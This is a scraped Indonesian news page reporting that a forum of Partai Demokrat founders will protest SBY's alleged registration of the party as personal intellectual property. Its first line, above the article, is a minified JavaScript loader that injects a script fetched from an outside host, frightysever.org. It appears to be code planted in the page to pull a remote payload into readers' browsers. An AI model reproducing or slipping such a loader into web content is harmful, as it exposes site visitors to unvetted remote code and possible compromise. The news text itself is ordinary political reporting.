(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA– Forum Komunikasi Pendiri dan Deklarator Partai Demokrat (FKPD) buka suara terkait isu Partai Demokrat didaftarkan sebagai kekayaan intelektual atas nama pribadi Susilo Bambang Yudhoyono (SBY). Jika itu benar FKPD mengaku bakal menyurati Direktorat Jenderal Hak Kekayaan Intelektual (HAKI) Kemenkumham untuk masalah tersebut.
“Selaku wadah pendiri Demokrat tentunya akan menyurati lah ke Ditjen HAKI,” kata Sekjen FKPD Sahat Saragih dalam konferensi pers di Kawasan Menteng, Jakarta Pusat, Jumat (9/4/2021).
Saragih menyebut, surat tersebut dikirimkan sebagai nada protes dan desakan agar Ditjen HAKI membatalkan pendaftaran yang dilakukan oleh SBY tersebut. Terlebih juga, pihaknya tak bisa menunggu waktu.
“Karena ini dilakukan secara diam-diam pada 19 Maret 2021 dan batas waktu ini (pengesahan) satu bulan. Jadi kita tidak boleh menunggu waktu,” ungkapnya.
Lebih lanjut, ia mengatakan, apa yang dilakukan pihaknya semata-mata untuk menyelamatkan Partai Demokrat. Menurutnya, para pendiri harus bertindak.
“Kalau ini terjadi, menjadi hak paten seseorang, artinya PD tidak lagi partai walaupun sebutannya partai. Tapi menjadi milik SBY, siapa yang mau memilih PD, kucing pun tidak mau. Jangan kan manusia kucing pun tidak mau. Itu yang dikhawatirkan FKPD,” tandasnya.
Sebelumnya, salah satu pendiri Partai Demokrat atau elite Demokrat kubu Moeldoko, Hencky Luntungan, menuding bahwa Susilo Bambang Yudhoyono atau SBY telah mendaftarkan Demokrat ke Hak Kekayaan Intelektual (HAKI) Kemenkumham atas nama pribadinya. Pendaftaran tersebut dilakukan pada 19 Maret 2021 lalu.
“Tahukah anda bahwa secara diam-diam SBY telah mendaftarkan PD, sebagai miliknya atas nama pribadinya pada lembaga kekayaan intelektual Kemenkumham,” kata Hencky saat dihubungi Suara.com, Jumat (9/4/2021).
Hencky mengatakan, berdasarkan penelusuran yang dilakukan oleh timnya, proses pendaftaran tersebut dilakukan pada 19 Maret 2021.
Sementara itu, Ketua Departemen Komunikasi dan Informatika DPP Demokrat kubu Moeldoko, Saiful Huda Ems, menjelaskan, apa yang dilakukan SBY tersebut justru membuat kubunya tergelitik. Pasalnya hal itu dianggap tidak sesuai dengan undang-undang yang berlaku.
“Rupanya SBY masih belum sadar, bahwa Partai Politik itu bukan barang dagangan, juga bukan kepemilikan pribadi, melainkan kepemilikan orang banyak, karena itulah Partai Politik merupakan salah satu pilar dari demokrasi, dan bukan pilar dari salah satu keluarga,” tuturnya.
Saiful kemudian meminta SBY memperdalam aturan soal dokumen merek dan lukisan. Menurutnya, merek dan lukisan Demokrat yang didaftarkan SBY ke HAKI telah salah sasaran.
“Pak SBY seharusnya juga mau membaca dan mengkaji tentang apa itu yang disebut dengan merek dan lukisan yang seharusnya layak dan tidak layak untuk didaftarkan ke Dirjen Kekayaan Intelektual,” ungkapnya.(suara)
Editor: suara
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.